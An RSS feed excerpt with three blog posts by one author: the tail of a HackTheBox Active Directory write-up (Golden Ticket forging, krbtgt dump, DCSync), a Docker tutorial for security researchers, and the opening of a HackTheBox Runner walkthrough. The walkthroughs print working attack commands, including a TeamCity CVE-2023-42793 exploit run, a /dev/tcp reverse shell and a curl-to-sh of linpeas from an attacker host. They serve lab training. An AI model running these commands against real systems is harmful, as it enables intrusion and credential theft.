perform a <strong>DCSync attack</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/961/1*O0SST7rYNSI-l5PjsrCyGA.png" /></figure><p>I prefer working from <strong>Linux</strong>, so I’ll create a <strong>tunnel</strong> to this network using <strong>Ligolo</strong>. If you’re working from <strong>Windows</strong>, you can use <strong>Mimikatz</strong> or <strong>Rubeus</strong> to generate the <strong>Golden Ticket</strong>.</p><p><strong>Set Up Ligolo for Tunneling</strong></p><ul><li><strong>Configure Network Interface and Route the Subnet</strong></li></ul><pre>sudo ip tuntap add user {user_name} mode tun ligolo<br>sudo ip link set ligolo up<br>sudo ip route add 10.0.0.0/24 dev ligolo</pre><ul><li>Start Local Proxy</li></ul><pre>./proxy -selfcert -laddr 0.0.0.0:443</pre><ul><li>Upload the Agent and Start the Tunnel</li></ul><pre>.\agent.exe -connect 10.10.16.114:443 -ignore-cert</pre><ul><li>Start the session</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Bc8zMd91nQUJJZcLiR3ovg.png" /></figure><h4>Golden Ticket Attack</h4><p>To generate a <strong>Golden Ticket</strong>, we need:</p><ul><li><strong>Domain Name</strong></li><li><strong>Domain SID</strong></li><li><strong>krbTGT Hash</strong></li></ul><p>The NTLM hash didn’t work, so I had to use <strong>Mimikatz</strong> to dump it again and use the <strong>AES256</strong> hash instead.</p><ol><li><strong>Dump krbTGT Hash with Mimikatz</strong></li></ol><pre>.\mimikatz.exe &quot;lsadump::lsa /inject /name:krbtgt&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AsEos-Ud_iFyeTbR_QVKrA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k5zxCU5OqwdT6Qxuq7GsNg.png" /></figure><p>2. Get the Enterprise Admins SID</p><pre>impacket-lookupsid ghost.htb/justin.bradley:&#39;Qwertyuiop1234$$&#39;@10.10.11.24 | grep -B12 &quot;Enterprise Admins&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kiy7RHsW2eeoRJzUZ1joQA.png" /></figure><p>2. <strong>Retrieve the Corp Domain SID<br></strong>You can get this using <strong>PowerView</strong>, <strong>BloodHound</strong>, or other tools.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/469/1*hoZTJELc-N4nGEi6-4bwmQ.png" /></figure><p>3. Generate the Golden Ticket using impacket-ticketer</p><pre>impacket-ticketer -aesKey b0eb........................5e8d \<br>    -domain-sid S-1-5-21-2034262909-2733679486-179904498 \<br>    -extra-sid S-1-5-21-4084500788-938703357-3654145966-519 \<br>    -domain corp.ghost.htb  Administrator</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*YWuGRzwpxeGksAm5oxBPSA.png" /></figure><p>4. Export the Ticket export KRB5CCNAME=Administrator.ccache</p><p>5. Perform DCSync on the Domain</p><pre>impacket-secretsdump -k -no-pass dc01.ghost.htb -just-dc</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*5zflryWo-GgbyZKTrnro5g.png" /></figure><p>5. Log in to the Domain as Administrator</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pcuMxCUi7N0VGpE--XAyEw.png" /></figure><h3>Resources</h3><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9aa2ffacb83a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Docker For Security Researchers xyz: y]]></title>
            <link>https://blog.devops.dev/docker-for-security-researchers-xyz-y-a3047bb3fee9?source=rss-5913a0fea0c1------2</link>
            <guid isPermaLink="false">https://medium.com/p/a3047bb3fee9</guid>
            <category><![CDATA[devops]]></category>
            <category><![CDATA[docker]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[docker-compose]]></category>
            <dc:creator><![CDATA[Zyad Elsayed]]></dc:creator>
            <pubDate>Sun, 29 Sep 2024 23:28:10 GMT</pubDate>
            <atom:updated>2025-01-17T16:25:30.490Z</atom:updated>
            <content:encoded><![CDATA[<h4>Part y : Docker in action</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*QQk-kwU6qwPlIkR_rzxrYQ.gif" /></figure><p>To review the first part</p><p><a href="https://cerb3rus.medium.com/docker-for-security-researchers-xyz-x-2a8acd994113">Docker For Security Researchers xyz: x</a></p><h3>Dockerfile</h3><p>A Dockerfile is a text document that contains a series of instructions to automate the process of building a Docker image. Each instruction creates a layer in the image, ensuring consistency, reproducibility, and efficient builds through caching.</p><p><a href="https://docs.docker.com/reference/dockerfile/">Dockerfile reference</a></p><p>Creating a Dockerfile for any application involves automating the steps required to set up the application environment, install dependencies, and run the application. Therefore, you need to know exactly what is required for the application to run properly.</p><p>For example, if you need to run a Node.js application, you should know the following before creating the Dockerfile:</p><ul><li>The required Node.js version.</li><li>Application dependencies listed in package.json.</li><li>Commands to build and run the application.</li><li>Any environment variables needed.</li><li>Ports that the application listens on.</li><li>Any interaction with other containers or databases.</li><li>Whether it needs a network card or a volume.</li></ul><p>Depending on the application you are building, you may choose to use either a public image or your own private image. For most services and technologies, public images are available on Docker Hub.</p><p><a href="https://hub.docker.com/">Docker Hub Container Image Library | App Containerization</a></p><h4>Instruction used in Dokerfile</h4><pre>╔═════════════════════════╦═════════════════════════════════════════════════════════════╗<br>║ Instruction             ║ Description                                                 ║<br>╠═════════════════════════╬═════════════════════════════════════════════════════════════╣<br>║ FROM                    ║ Create a new build stage from a base image.                 ║<br>║ WORKDIR                 ║ Change working directory.                                   ║<br>║ COPY                    ║ Copy files and directories.                                 ║<br>║ RUN                     ║ Execute build commands.                                     ║<br>║ CMD                     ║ Specify default commands.                                   ║<br>║ EXPOSE                  ║ Describe which ports your application is listening on.      ║<br>║ ENV                     ║ Set environment variables.                                  ║<br>║ ENTRYPOINT              ║ Specify default executable.                                 ║<br>║ VOLUME                  ║ Create volume mounts.                                       ║<br>║ ARG                     ║ Use build-time variables.                                   ║<br>║ LABEL                   ║ Add metadata to an image.                                   ║<br>║ USER                    ║ Set user and group ID.                                      ║<br>║ HEALTHCHECK             ║ Check a container&#39;s health on startup.                      ║<br>║ STOPSIGNAL              ║ Specify the system call signal for exiting a container.     ║<br>║ SHELL                   ║ Set the default shell of an image.                          ║<br>║ ONBUILD                 ║ Specify instructions for when the image is used in a build. ║<br>║ ADD                     ║ Add local or remote files and directories.                  ║<br>║ MAINTAINER (deprecated) ║ Specify the author of an image.                             ║<br>╚═════════════════════════╩═════════════════════════════════════════════════════════════╝</pre><p>As the best way to learn something is to try it and practice with it, we will focus on direct scenarios of Dockerfile content.</p><h4><strong>Different scenarios</strong></h4><p><strong><em>Remember from </em></strong><a href="https://cerb3rus.medium.com/docker-for-security-researchers-xyz-x-2a8acd994113#dc94"><strong><em>part x</em></strong></a><strong><em> </em></strong><em>that Every docker image is built on top of another existing image.</em></p><ol><li><strong>Running a simple node application</strong></li></ol><pre># Useing the official Node.js image from the Docker Hub: node:&lt;version&gt;<br>FROM node:alpine<br><br># Creating the application directory<br>RUN mkdir -p /app<br><br># changing the working directory<br>WORKDIR /app<br><br># Copy package.json and package-lock.json files<br>COPY package*.json ./<br><br># Install application dependencies<br>RUN npm install<br><br># Copy the rest of the application code<br>COPY . .<br><br># Expose the application port <br>EXPOSE 3000<br><br># Command to run the Node.js application<br>CMD [&quot;node&quot;, &quot;app.js&quot;]</pre><p>You can select which node version you want from <a href="https://hub.docker.com/_/node">here</a></p><p><strong>Explanation:</strong></p><ul><li><strong>FROM node</strong>: Uses a lightweight Node.js image based on Alpine Linux.</li><li><strong>RUN mkdir -p /app</strong>: Creates the application directory.</li><li><strong>WORKDIR /app</strong>: changing the working directory to /app “cd /app”.</li><li><strong><em>COPY package</em></strong><strong>.json ./</strong>: Copies package.json and package-lock.json to the working directory.</li><li><strong>RUN npm install</strong>: Installs the Node.js dependencies.</li><li><strong>COPY . . </strong>: Copies the rest of the application code to the working directory.</li><li><strong>EXPOSE 3000</strong>: Exposes port 3000.</li><li><strong>CMD [“node”, “app.js”]</strong>: Sets the command to run the Node.js application.<br>we use CMD not RUN to specify the command that will run as the starting point of the application.</li></ul><blockquote>RUN is used to execute commands during the build process of a Docker image, while CMD is used to specify the default command to run when a Docker container is started from the image.</blockquote><p><strong>2. A simple Flask application that runs on port 5000.</strong></p><pre># Use the official Python image from the Docker Hub<br>FROM python<br><br># Copy the requirements file and install dependencies<br>COPY . /usr/src/app/<br><br># Set the working directory<br>WORKDIR /usr/src/app<br><br># Install dependencies<br>RUN pip install --no-cache-dir -r requirements.txt<br><br># Expose the application port<br>EXPOSE 5000<br><br># Command to run the Flask application<br>CMD [&quot;python&quot;, &quot;app.py&quot;]</pre><ul><li>IF you haven’t specify the version,Docker considers it the latest version.</li><li>You can simply add a / after COPY . /usr/src/app/ to create the directory.</li></ul><p><strong>3. Java Spring Boot Application</strong></p><pre># Use the official Maven image to build the application<br>FROM maven:3.8.1-openjdk-11 AS build<br><br># Set the working directory<br>WORKDIR /usr/src/app<br><br># Copy the pom.xml and install dependencies<br>COPY pom.xml ./<br>RUN mvn dependency:go-offline<br><br># Copy the rest of the application code and package it<br>COPY src ./src<br>RUN mvn package<br><br># Use the official OpenJDK image to run the application<br>FROM openjdk:11-jre-slim<br><br># Set the working directory<br>WORKDIR /usr/src/app<br><br># Copy the packaged jar file from the build stage<br>COPY --from=build /usr/src/app/target/*.jar app.jar<br><br># Expose the application port<br>EXPOSE 8080<br><br># Command to run the Spring Boot application<br>CMD [&quot;java&quot;, &quot;-jar&quot;, &quot;app.jar&quot;]</pre><p><strong>4. Ruby on Rails Application</strong></p><pre># Use the official Ruby image from the Docker Hub<br>FROM ruby:2.7<br><br># Install Node.js and Yarn<br>RUN apt-get update -qq &amp;&amp; apt-get install -y nodejs yarn<br><br># Set the working directory<br>WORKDIR /usr/src/app<br><br># Copy the Gemfile and Gemfile.lock and install dependencies<br>COPY Gemfile Gemfile.lock ./<br>RUN bundle install<br><br># Copy the rest of the application code<br>COPY . .<br><br># Precompile assets (if any)<br>RUN bundle exec rake assets:precompile<br><br># Expose the application port<br>EXPOSE 3000<br><br># Command to run the Rails application<br>CMD [&quot;rails&quot;, &quot;server&quot;, &quot;-b&quot;, &quot;0.0.0.0&quot;]</pre><p><strong>CMD [“rails”, “server”, “-b”, “0.0.0.0”]</strong>: Specifies the command to run the Rails application. This starts the Rails server with the binding set to 0.0.0.0, making it accessible from outside the Docker container.</p><p><strong>5. PHP Laravel Application</strong></p><pre># Use the official PHP image with Apache from the Docker Hub<br>FROM php:7.4-apache<br><br># Set the working directory<br>WORKDIR /var/www/html<br><br># Copy the application code<br>COPY . .<br><br># Install Composer<br>RUN apt-get update &amp;&amp; apt-get install -y \<br>    libzip-dev \<br>    unzip \<br> &amp;&amp; docker-php-ext-install zip \<br> &amp;&amp; curl -sS https://getcomposer.org/installer | php -- --install-dir=/usr/local/bin --filename=composer<br><br># Install application dependencies<br>RUN composer install<br><br># Expose the application port<br>EXPOSE 8000<br><br># Command to run the Laravel application<br>CMD [&quot;php&quot;, &quot;artisan&quot;, &quot;serve&quot;, &quot;--host&quot;, &quot;0.0.0.0&quot;, &quot;--port&quot;, &quot;8000&quot;]</pre><p><strong>6. ASP.NET Core Application</strong></p><pre># Use the official .NET SDK image to build the application<br>FROM mcr.microsoft.com/dotnet/sdk:5.0 AS build<br><br># Set build-time arguments<br>ARG BUILD_CONFIGURATION=Release<br><br># Set environment variables<br>ENV ASPNETCORE_ENVIRONMENT=Production<br><br># Set the working directory<br>WORKDIR /src<br><br># Copy the csproj file and restore dependencies<br>COPY *.csproj ./<br>RUN dotnet restore<br><br># Copy the rest of the application code and build it<br>COPY . .<br>RUN dotnet publish -c $BUILD_CONFIGURATION -o /app<br><br># Use the official .NET runtime image to run the application<br>FROM mcr.microsoft.com/dotnet/aspnet:5.0 AS runtime<br><br># Set the working directory<br>WORKDIR /app<br><br># Copy the published application from the build stage<br>COPY --from=build /app .<br><br># Expose the application port<br>EXPOSE 80<br><br># Healthcheck to verify container health<br>HEALTHCHECK --interval=30s --timeout=3s \<br>  CMD curl --silent --fail http://localhost/ || exit 1<br><br># Command to run the ASP.NET Core application<br>CMD [&quot;dotnet&quot;, &quot;MyApp.dll&quot;]</pre><p><strong>7. Go Web Application</strong></p><pre># Use the official Go image to build the application<br>FROM golang:1.16 AS build<br><br># Set build-time arguments<br>ARG APP_NAME=myapp<br><br># Set the working directory<br>WORKDIR /usr/src/app<br><br># Copy the application code<br>COPY . .<br><br># Build the application<br>RUN go build -o app -ldflags &quot;-X main.version=$(date +&#39;%Y%m%d%H%M%S&#39;) -X main.appName=$APP_NAME&quot;<br><br># Use a minimal base image to run the application<br>FROM scratch<br><br># Set environment variables<br>ENV APP_NAME=myapp<br><br># Copy build artifacts from the build stage<br>COPY --from=build /usr/src/app/app /app<br><br># Expose the application port<br>EXPOSE 8080<br><br># Label for metadata<br>LABEL maintainer=&quot;Zyad c3rb3rus@gmail.com&quot;<br><br># Command to run the Go web application<br>ENTRYPOINT [&quot;/app&quot;]</pre><p><strong>8. Django Application</strong></p><pre># Use the official Python image from the Docker Hub<br>FROM python:3.9<br><br># Set build-time arguments<br>ARG DJANGO_SETTINGS_MODULE=mysite.settings.production<br><br># Set the working directory<br>WORKDIR /usr/src/app<br><br># Copy the requirements file and install dependencies<br>COPY requirements.txt ./<br>RUN pip install --no-cache-dir -r requirements.txt<br><br># Copy the rest of the application code<br>COPY . .<br><br># Expose the application port<br>EXPOSE 8000<br><br># Label for metadata<br>LABEL description=&quot;Django application for mysite&quot;<br><br># Command to run the Django application<br>CMD [&quot;python&quot;, &quot;manage.py&quot;, &quot;runserver&quot;, &quot;0.0.0.0:8000&quot;]</pre><p><strong>9. React Application</strong></p><pre># Use the official Node.js image to build the application<br>FROM node:14 AS build<br><br># Set build-time arguments<br>ARG NODE_ENV=production<br><br># Set the working directory<br>WORKDIR /usr/src/app<br><br># Copy package.json and package-lock.json and install dependencies<br>COPY package*.json ./<br>RUN npm install --production=$NODE_ENV<br><br># Copy the rest of the application code and build it<br>COPY . .<br>RUN npm run build<br><br># Use the official Nginx image to serve the static files<br>FROM nginx:alpine<br><br># Set environment variable<br>ENV NGINX_PORT=80<br><br># Copy the build output from the build stage to Nginx<br>COPY --from=build /usr/src/app/build /usr/share/nginx/html<br><br># Expose the application port<br>EXPOSE $NGINX_PORT<br><br># Healthcheck to verify container health<br>HEALTHCHECK --interval=30s --timeout=3s \<br>  CMD wget -q --spider http://localhost:$NGINX_PORT/ || exit 1<br><br># Command to run Nginx<br>CMD [&quot;nginx&quot;, &quot;-g&quot;, &quot;daemon off;&quot;]</pre><p>Running applications as a non-root user in Docker containers is a good security practice to minimize the potential impact of security vulnerabilities.</p><pre># Use an official Ubuntu base image<br>FROM ubuntu:20.04<br><br># Label for metadata<br>LABEL maintainer=&quot;c3rb3rus@RedRightHand.com&quot;<br>LABEL version=&quot;1.0&quot;<br>LABEL description=&quot;secure Ubntu Image&quot;<br><br># Set environment variables<br>ENV PORT=8080<br><br># Create a non-root user and group<br>RUN groupadd -r appuser &amp;&amp; useradd -r -g appuser -d /home/appuser -s /sbin/nologin -c &quot;Docker image user&quot; appuser &amp;&amp; \<br>    mkdir -p /home/appuser &amp;&amp; chown -R appuser:appuser /home/appuser<br><br># Set the working directory<br>WORKDIR /app<br><br># Copy files to the working directory<br>COPY --chown=appuser:appuser . /app<br><br># Install necessary dependencies<br>RUN apt-get update &amp;&amp; apt-get install -y curl python3 python3-pip &amp;&amp; \<br>    apt-get clean &amp;&amp; rm -rf /var/lib/apt/lists/*<br><br># Switch to non-root user<br>USER appuser<br><br># Expose the application port<br>EXPOSE 8080<br><br># Create a volume<br>VOLUME [&quot;/data&quot;]<br><br># Define the default command<br>CMD [&quot;python3&quot;, &quot;app.py&quot;]<br><br># Set an entry point<br>ENTRYPOINT [&quot;python3&quot;, &quot;app.py&quot;]<br><br># Add an on-build instruction<br>ONBUILD RUN echo &quot;Building on top of this image&quot;</pre><h4>Some Containerized Security Tools</h4><p>I have a problem before with <a href="https://github.com/eslam3kl/GG-Dorking">gg_dorking </a>dependances by <a href="https://medium.com/u/4147c3f7f82b">Eslam Akl</a> so I made a Dockerfile for it</p><pre>FROM python:3.12-slim<br><br>WORKDIR /app<br><br>COPY requirements.txt .<br><br>RUN pip install --no-cache-dir -r requirements.txt<br><br>COPY . .<br><br>CMD [&quot;python&quot;, &quot;gg_dorking.py&quot;]</pre><p>You can create a Docker image to deploy scripts without running them locally:</p><pre>FROM python:3.9-slim<br><br># Install required dependencies<br>RUN apt-get update &amp;&amp; apt-get install -y \<br>    git \<br>    &amp;&amp; apt-get clean<br><br># Clone the CVE-2021-1675 repository<br>RUN git clone https://github.com/cube0x0/CVE-2021-1675.git /opt/CVE-2021-1675<br><br># Clone and install the specific impacket version<br>RUN git clone https://github.com/cube0x0/impacket /opt/impacket \<br>    &amp;&amp; cd /opt/impacket \<br>    &amp;&amp; python3 setup.py install<br><br># Set the working directory to the CVE-2021-1675 folder<br>WORKDIR /opt/CVE-2021-1675<br><br># Start an interactive shell by default<br>CMD [&quot;/bin/bash&quot;]</pre><p>You can use Docker to isolate a toolkit that conflicts with other tools on your local machine (e.g., Impacket)</p><pre># Dockerfile for isolating Impacket<br>FROM python:3.8-alpine as compile<br>WORKDIR /opt<br><br>RUN apk add --no-cache git gcc musl-dev python3-dev libffi-dev openssl-dev cargo<br>RUN python3 -m pip install virtualenv<br>RUN virtualenv -p python venv<br><br>ENV PATH=&quot;/opt/venv/bin:$PATH&quot;<br><br>RUN git clone --depth 1 https://github.com/fortra/impacket.git<br>RUN python3 -m pip install impacket/<br><br>FROM python:3.8-alpine<br>COPY --from=compile /opt/venv /opt/venv<br>ENV PATH=&quot;/opt/venv/bin:$PATH&quot;<br>ENTRYPOINT [&quot;/bin/sh&quot;]</pre><p>You can search on GitHub using this <a href="https://github.com/search?q=language%3ADockerfile&amp;type=repositories&amp;s=updated&amp;o=desc">dork</a> or find containerized security tools and see how they were implemented. So, try to read these Dockerfiles</p><p><a href="https://github.com/AlexisAhmed/BugBountyToolkit/blob/master/Dockerfile">https://github.com/AlexisAhmed/BugBountyToolkit/blob/master/Dockerfile</a><br><a href="https://github.com/PeterMosmans/tools-image/blob/main/Dockerfile">https://github.com/PeterMosmans/tools-image/blob/main/Dockerfile</a><br><a href="https://github.com/hawkeyesec/scanner-cli/blob/master/Dockerfile">https://github.com/hawkeyesec/scanner-cli/blob/master/Dockerfile</a><br><a href="https://github.com/raesene/dockerized-security-tools/blob/master/burp/Dockerfile">https://github.com/raesene/dockerized-security-tools/blob/master/burp/Dockerfile</a></p><h3>Software Development WORKFLOW</h3><p>The development workflow begins on a local machine where a simple application is built using typical frontend, backend, and database technologies. Once development is complete, the code is committed to a Git repository, triggering a CI pipeline. This pipeline builds the application’s container image and pushes it to a Docker repository. From there, the application can be pulled and run on a development server, enabling other developers or QA testers to access and test the application.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*udretufPBtfgXHhNSEYAhw.png" /></figure><p>Before pushing the image to the repository in the inner-loop development workflow for Docker, there is an iterative cycle. This process involves coding the application locally and writing Dockerfiles to specify the environment and dependencies. Docker images are then built from these Dockerfiles and tested locally, with multiple iterations to refine the application code and Dockerfiles. After successful local testing, Docker Compose can be introduced to define and manage multi-container applications, streamlining the process of running and testing the application in a cohesive, containerized setup.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*phrvdyzqNhfhIkp8woX5fQ.png" /></figure><h3>Docker-compose</h3><p>Docker Compose simplifies the management of multi-container applications. With Docker Compose, you can describe the configuration of your application services, networks, and volumes in a YAML file. This enables you to create and start all the services from your configuration with a single command.</p><p>Example docker-compose.yml file for a simple web application with a frontend, backend, and database</p><p>docker-compose.yml</p><pre>version: &#39;3.8&#39;<br><br>services:<br>  frontend:<br>    image: nginx:latest<br>    ports:<br>      - &quot;80:80&quot;<br>    volumes:<br>      - ./frontend:/usr/share/nginx/html<br>    networks:<br>      - app-network<br><br>  backend:<br>    image: node:14<br>    volumes:<br>      - ./backend:/app<br>    working_dir: /app<br>    command: npm start<br>    networks:<br>      - app-network<br><br>  database:<br>    image: postgres:latest<br>    environment:<br>      POSTGRES_USER: exampleuser<br>      POSTGRES_PASSWORD: examplepass<br>      POSTGRES_DB: exampledb<br>    volumes:<br>      - db-data:/var/lib/postgresql/data<br>    networks:<br>      - app-network<br><br>networks:<br>  app-network:<br>    driver: bridge<br><br>volumes:<br>  db-data:</pre><p>To deploy a full project check</p><p><a href="https://poly4.hashnode.dev/development-workflow-with-docker">Development Workflow with Docker</a></p><p><strong>Wait for the coming parts 🐳</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/312/1*DhQyyJ-CbmNtAkMl39ZPYA.gif" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a3047bb3fee9" width="1" height="1" alt=""><hr><p><a href="https://blog.devops.dev/docker-for-security-researchers-xyz-y-a3047bb3fee9">Docker For Security Researchers xyz: y</a> was originally published in <a href="https://blog.devops.dev/">DevOps.dev</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HackTheBox Runner writeup]]></title>
            <link>https://b4l3rion.medium.com/hackthebox-runner-writeup-516891060a66?source=rss-5913a0fea0c1------2</link>
            <guid isPermaLink="false">https://medium.com/p/516891060a66</guid>
            <category><![CDATA[teamcity]]></category>
            <category><![CDATA[runners]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[htb-writeup]]></category>
            <dc:creator><![CDATA[Zyad Elsayed]]></dc:creator>
            <pubDate>Sun, 29 Sep 2024 23:23:06 GMT</pubDate>
            <atom:updated>2025-03-27T22:02:02.533Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="https://app.hackthebox.com/machines/598" src="https://cdn-images-1.medium.com/max/1024/1*9lcaDQMf078l7cVcrUoWyg.png" /><figcaption><a href="https://app.hackthebox.com/machines/598">https://app.hackthebox.com/machines/598</a></figcaption></figure><p>⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀بِسْمِ اللَّـهِ الرَّحْمَـٰنِ الرَّحِيمِ</p><p>Hello Fellows, This is my walkthrough to solve Runner from hack the box. While the exploitation wasn’t particularly challenging, the real obstacle was navigating through numerous rabbit holes on the machine..</p><h3>1. Initial Reconnaissance</h3><h4>Nmap scan</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rgUsbhUBybxgiPJsKsKeiA.png" /></figure><p>From the initial Nmap scan, it was revealed that the target machine has three open ports.</p><ul><li>Port 22 is running an SSH service.</li><li>port 80 A web application is accessible on.</li><li>port 8000 is hosting a service identified as Nagios NSCA.</li></ul><p>My initial approach was to check if there were any CVEs associated with the versions of these services. However, I found no relevant vulnerabilities</p><p>So lets check the website</p><p>first add <a href="http://runner.htb/">http://runner.htb</a> to hosts file for local DNS resolution</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/727/1*HvWL0LQon3M3Cc7dApYKGA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a_oymcVsCb2rcAi1BstDpg.png" /></figure><p>I checked the webpage, but it was static, so there was nothing to exploit within.</p><h3>2. Directory Search</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CeeOPMFxxgodP0V2ews3sg.png" /></figure><p>I checked it But, unfortunately it is <strong>403 Forbidden</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VMACjUHE0b1e6py1Q0HzHg.png" /></figure><p>SO I tried various bypass techniques, but none were successful, even when exploring higher-level directories.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*s2UFtaCTp6xx7xBCu-LnTQ.png" /></figure><h3>So lets check the VHOST</h3><blockquote>VHOST(Virtual Host) refers to the practice of running more than one website (such as <em>company1.example.com</em> and <em>company2.example.com</em>) on a single machine.</blockquote><p>I tried first with common subdomain wordlist but nothing, so I made a custom wordlist</p><p>Now lets start digging</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/745/1*HuS2ubSgv77SowsFjQ_N0g.png" /></figure><p>and we got a matching</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/979/1*G0g4wEPcgSCD63VUZbgqhA.png" /></figure><p>So lets add the new subdomain to the hosts file and then start our work</p><pre>echo &quot;10.10.11.13 teamcity.runner.htb&quot; | sudo tee -a /etc/hosts</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*R4qWB-vs_8Shw1GeD5xGpA.png" /></figure><p>I Googled this version for a vulnerability, “<strong>TeamCity 2023.05.3 vulnerabilities”</strong> and yes, it is affected by <strong>CVE-2023–42793</strong>. It’s an Authentication Bypass that can lead to Remote Code Execution (RCE).</p><p>There is an exploit on Exploit-DB, but it only covers the authentication bypass, not the full Remote Code Execution (RCE). Therefore, I developed my own exploit.</p><p><a href="https://github.com/Zyad-Elsayed/CVE-2023-42793">GitHub - Zyad-Elsayed/CVE-2023-42793: JetBrains TeamCity 2023.05.3 - Remote Code Execution (RCE), CVE-2023-42793</a></p><p>So lets do some hacking, using my <a href="https://github.com/Zyad-Elsayed/CVE-2023-42793">script</a> we would create admin account on Teamcity</p><p>After cloning the repo, run exploit.py to create admin account</p><pre>python3 exploit.py -u http://teamcity.runner.htb</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-wXjNat4CnCxQ4UjmD99jQ.png" /></figure><p>After this we can login with the admin credentials we have created</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*unLNbhxLtaq7_rM4F7FMuA.png" /></figure><p>After this, I took some time to explore the service and understand what capabilities the administrator has. Typically, when I reach this step, I search for methods to obtain a reverse shell on the {service} or execute commands.</p><p>From here, there are two pathways, one longer than the other. I will mention both.</p><h3>First Pathway</h3><p>It is related to the Remote Code Execution (RCE) we have on the service. We will proceed with obtaining a reverse shell on this site. Let’s complete this step using the script ‘rce.py’ available in my <a href="https://github.com/Zyad-Elsayed/CVE-2023-42793.git">repository</a>.</p><p>Lets check the script first,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*877w73lARhvxuY5FCtJRiw.png" /></figure><p>Create a listener first then run the script</p><pre>python3 rce.py -u http://teamcity.runner.htb -t token -c &#39;&quot;/bin/bash&quot;&amp;params=&quot;-c&quot;&amp;params=&quot;sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.16.35%2F3333%200%3E%261&quot;&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XAHsaSEJMBRFet4VxxEukw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/805/1*RXePWiFIyVl7YJY4hw3wpA.png" /></figure><p>Escape the restricted shell using</p><pre>python3 -c &#39;import pty; pty.spawn(&quot;/bin/bash&quot;)&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/711/1*Gy6WPaDlGN-lvLuXzBoRsQ.png" /></figure><h3>Lets do some privilege escalation</h3><p>Using linPeas for enumeration, first creating python server to transfer tool then curl it</p><pre>python3 -m http.server</pre><pre>curl <a href="http://10.10.16.35:8000/linpeas.sh">http://10.10.16.35:8000/linpeas.sh</a> | sh</pre><p>After some searching, I found the <strong><em>id_rsa </em></strong>key, which can be used for SSH authentication.</p><pre>find / -name id_rsa 2&gt; /dev/null</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/785/1*bAve78xnMzNouIYryJPN0g.png" /></figure><p>I tried some users that I enumerated at the start from the main domain and others I found in the /etc/passwd file, but none of them worked. Then, I remembered that when I was fetching TeamCity, I found a path that contains all users.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*odijtWTxKTcoTZCKVRgmSw.png" /><figcaption><a href="http://teamcity.runner.htb/admin/admin.html?item=users">http://teamcity.runner.htb/admin/admin.html?item=users</a></figcaption></figure><p>So I tried to use this SSH key on john and metthew, and it worked with john</p><p>The problem is, this pathway wasn’t intended from the start. We improvised and gained another foothold, as TeamCity runs under this user on the machine, storing backups in this user’s data so we made it and got the id_rsa key. Otherwise, we wouldn’t have made it. After some time, you’ll encounter a challenge, needing credentials to bypass another login form. At this point, you’ll need to reconsider all that you’ve collected and opt for the second path. The second pathway is the best approach and the intended one.</p><h3>Second Pathway</h3><p>This way is more efficient as we would need it anyway in the future</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*unLNbhxLtaq7_rM4F7FMuA.png" /><figcaption><a href="http://teamcity.runner.htb/admin/admin.html?item=projects">http://teamcity.runner.htb/admin/admin.html</a></figcaption></figure><p>After first login to Teamcity, I fetched its features and I found two juicy things; a path which contains users and another for backup</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*urCWnk-u1nephCnTcTbLdQ.png" /><figcaption><a href="http://teamcity.runner.htb/admin/admin.html?item=backup">http://teamcity.runner.htb/admin/admin.html?item=backup</a></figcaption></figure><p>After backup the data from Teamcity, just click on the link, you don’t have to take shell again on <strong><em>tcuser</em></strong> user to get this backup</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*q6IOaxpBJ9jt-b6Rd_X4YA.png" /></figure><p>The backup contained a lot of data so I used the command <strong><em>tree </em></strong>to see what is 